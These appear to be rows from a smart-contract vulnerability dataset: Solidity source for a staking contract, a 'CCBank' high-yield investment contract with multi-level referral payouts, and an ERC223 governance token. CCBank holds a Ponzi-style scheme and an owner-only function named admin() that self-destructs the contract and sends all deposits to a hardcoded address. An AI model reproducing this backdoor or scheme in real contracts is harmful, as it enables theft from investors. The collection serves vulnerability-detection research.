} else if (block.timestamp > farmEnableat + 28 days && block.timestamp <= farmEnableat + 29 days) {
uint256 pendingDivs = stakedAmount.mul(1581139).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 29 days && block.timestamp <= farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(1454648).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(rewardRate).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
}
}
function getNumberOfHolders() public view returns (uint256) {
return holders.length();
}
function deposit(uint256 amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(farmEnabled, "Farming is not enabled");
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint256 amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakingAndDaoAmount() public view returns (uint256) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function setTokenAddress(address _tokenAddressess) public onlyOwner {
tokenAddress = _tokenAddressess;
}
function setCliffTime(uint256 _time) public onlyOwner {
cliffTime = _time;
}
function setRewardInterval(uint256 _rewardInterval) public onlyOwner {
rewardInterval = _rewardInterval;
}
function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner {
stakingAndDaoTokens = _stakingAndDaoTokens;
}
function setRewardRate(uint256 _rewardRate) public onlyOwner {
rewardRate = _rewardRate;
}
function enableFarming() external onlyOwner() {
farmEnabled = true;
farmEnableat = block.timestamp;
}
// function to allow admin to claim *any* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
require(_tokenAddress != LPtokenAddress);
Token(_tokenAddress).transfer(_to, _amount);
}
}
| 254,605 | 710 |
21022101e2c7b243c0ab089222f768cbfabbcdd8b6fb7a5e11bd2a8d7e913b8b
| 24,272 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb25f7e77797d6fb683ffc73445b5c3dfe719da46.sol
| 6,519 | 23,529 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
bool isReInvest;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 limit; //0 means unlimited
uint256 perInvestorLimit;
uint256 leftAmount;
uint256 lastUpdateDate;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CCBank is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 30; //per thousand
uint256 public constant MARKETING_RATE = 70;
uint256 public constant REFERENCE_RATE = 80;
uint256 public constant REFERENCE_LEVEL1_RATE = 50;
uint256 public constant REFERENCE_LEVEL2_RATE = 20;
uint256 public constant REFERENCE_LEVEL3_RATE = 10;
// uint256 public constant REFERENCE_SELF_RATE = 5;
uint256 public constant MINIMUM = 0.01 ether; // 0.01eth, minimum investment needed
uint256 public constant REFERRER_CODE = 3466; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address private developerAccount_;
address private marketingAccount_;
address private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function setPlanLimit(uint256 _planId, uint256 _perInvestorLimit, uint256 _addAmount) public onlyOwner {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
Objects.Plan storage plan = investmentPlans_[_planId];
plan.perInvestorLimit = _perInvestorLimit;
plan.leftAmount = plan.leftAmount.add(_addAmount);
plan.lastUpdateDate = block.timestamp;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(50, 0, 0, 0, 0, block.timestamp)); // 5%, unlimited
investmentPlans_.push(Objects.Plan(60, 45*60*60*24, 0, 0, 0, block.timestamp)); // 6%, 45 days
investmentPlans_.push(Objects.Plan(70, 25*60*60*24, 0, 0, 0, block.timestamp)); // 7%, 25 days
investmentPlans_.push(Objects.Plan(80, 18*60*60*24, 0, 0, 0, block.timestamp)); // 8%, 18 days
investmentPlans_.push(Objects.Plan(100, 0, 1, 1 ether, 2000 ether, block.timestamp)); //10%, unlimited, 1 eth, 2000 eth
}
function getCurrentPlans() public view returns (uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory limits = new uint256[](investmentPlans_.length);
uint256[] memory perInvestorLimits = new uint256[](investmentPlans_.length);
uint256[] memory leftAmounts = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
terms[i] = plan.term;
limits[i] = plan.limit;
perInvestorLimits[i] = plan.perInvestorLimit;
leftAmounts[i] = plan.leftAmount;
}
return
(ids,
interests,
terms,
limits,
perInvestorLimits,
leftAmounts);
}
function addNewPlan(uint256 dailyInterest, uint256 term, uint256 limit, uint256 perInvestorLimit, uint256 leftAmount) public onlyOwner {
investmentPlans_.push(Objects.Plan(dailyInterest, term, limit, perInvestorLimit, leftAmount, block.timestamp));
}
function getTotalInvestments() public onlyOwner view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestorPlanLimitsByUID(uint256 _uid, uint256 _planId) public view returns (uint256, uint256, uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
Objects.Investor storage investor = uid2Investor[_uid];
Objects.Plan storage plan = investmentPlans_[_planId];
uint256 totalInvestment = 0;
uint256 leftInvestmentLimit = 0;
if (plan.limit != 0) {
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].planId != _planId || investor.plans[i].investmentDate < plan.lastUpdateDate) {
continue;
}
totalInvestment = totalInvestment.add(investor.plans[i].investment);
}
leftInvestmentLimit = (totalInvestment > plan.perInvestorLimit) ? 0 : plan.perInvestorLimit.sub(totalInvestment);
}
return
(plan.limit,
plan.leftAmount,
leftInvestmentLimit);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
isExpireds[i] = true;
}
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount, bool isReInvest) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
_checkLimit(uid, _planId, _amount);
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.plans[planCount].isReInvest = isReInvest;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(uid, _amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _checkLimit(uint256 _uid, uint256 _planId, uint256 _amount) private {
Objects.Plan storage plan = investmentPlans_[_planId];
if (plan.limit > 0) {
require(plan.leftAmount >= _amount && plan.perInvestorLimit >= _amount, "1 - Not enough limit");
Objects.Investor storage investor = uid2Investor[_uid];
uint256 totalInvestment = 0;
uint256 leftInvestmentLimit = 0;
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].planId != _planId || investor.plans[i].investmentDate < plan.lastUpdateDate) {
continue;
}
totalInvestment = totalInvestment.add(investor.plans[i].investment);
}
leftInvestmentLimit = (totalInvestment > plan.perInvestorLimit) ? 0 : plan.perInvestorLimit.sub(totalInvestment);
require(leftInvestmentLimit >= _amount, "2 - Not enough limit");
plan.leftAmount = plan.leftAmount.sub(_amount);
}
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value, false)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value, false)) {
emit onInvest(msg.sender, msg.value);
}
}
function reinvest(uint256 _referrerCode, uint256 _planId) public payable {
require(msg.value == 0, "Reinvest doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
uint256 availableInvestAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
availableInvestAmount = availableInvestAmount.add(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends = uid2Investor[uid].plans[i].currentDividends.add(amount);
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
availableInvestAmount = availableInvestAmount.add(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (_invest(msg.sender, _planId, _referrerCode, availableInvestAmount, true)) {
emit onReinvest(msg.sender, availableInvestAmount);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount = withdrawalAmount.add(amount);
msg.sender.transfer(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function admin() public onlyOwner{
selfdestruct(0x8948E4B00DEB0a5ADb909F4DC5789d20D0851D71);
}
function _calculateReferrerReward(uint256 _uid, uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
// _refAmount = (_investment.mul(REFERENCE_SELF_RATE)).div(1000);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 195,709 | 711 |
f9875f7c48287a38acbc50498d797e200b1817cb45bba627e81a395087749ecf
| 33,577 |
.sol
|
Solidity
| false |
345820405
|
SoyFinance/smart-contracts
|
0725f515cf65408b601cf6640a0c0e88333b1bbf
|
SoyTokenERC223.sol
| 4,560 | 18,183 |
// SPDX-License-Identifier: No License (None)
pragma solidity 0.8.0;
abstract contract IERC223Recipient {
function tokenReceived(address _from, uint _value, bytes memory _data) external virtual;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract MinterSetup {
bool public setup_mode = true;
mapping (address => bool) public minters;
modifier onlyMinter()
{
require(minters[msg.sender], "Only minter is allowed to do this");
_;
}
modifier onlySetupMode()
{
require(setup_mode, "This is only allowed in setup mode");
_;
}
}
interface IERC223 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount, bytes calldata data) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event TransferData(bytes);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC223 is Context, IERC223, MinterSetup {
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory new_name, string memory new_symbol) {
_name = new_name;
_symbol = new_symbol;
_decimals = 18;
}
function standard() public pure returns (string memory)
{
return "erc223";
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount, new bytes(0));
return true;
}
function transfer(address recipient, uint256 amount, bytes calldata data) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount, data);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transferFrom(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount, bytes memory data) internal virtual {
require(sender != address(0), "ERC223: transfer from the zero address");
require(recipient != address(0), "ERC223: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
if(recipient.isContract())
{
IERC223Recipient(recipient).tokenReceived(sender, amount, data);
}
emit Transfer(sender, recipient, amount);
emit TransferData(data);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC223: transfer from the zero address");
require(recipient != address(0), "ERC223: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Ownable is Context {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/SoyToken.sol
// SoyToken with Governance.
contract SoyToken is ERC223("SOY Finance token", "SOY"), Ownable {
function rescueERC20(address token, address to) external onlyOwner {
uint256 value = IERC223(token).balanceOf(address(this));
IERC223(token).transfer(to, value);
}
// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyMinter {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
// A record of each accounts delegate
mapping (address => address) internal _delegates;
// A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
// A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
// The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
// The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
// The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// A record of states for signing / validating signatures
mapping (address => uint) public nonces;
// An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
// An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
// An event thats emitted when assign a minter
event AssignMinter(address minter, bool status);
constructor() {
address msgSender = _msgSender();
_owner = msg.sender;
_mint(msg.sender, 120000000 * 10 ** 18);
_moveDelegates(address(0), _delegates[msg.sender], 120000000 * 10 ** 18);
emit OwnershipTransferred(address(0), msgSender);
}
function assignMinter(address _minter, bool _status) public onlyOwner onlySetupMode
{
minters[_minter] = _status;
emit AssignMinter(_minter, _status);
}
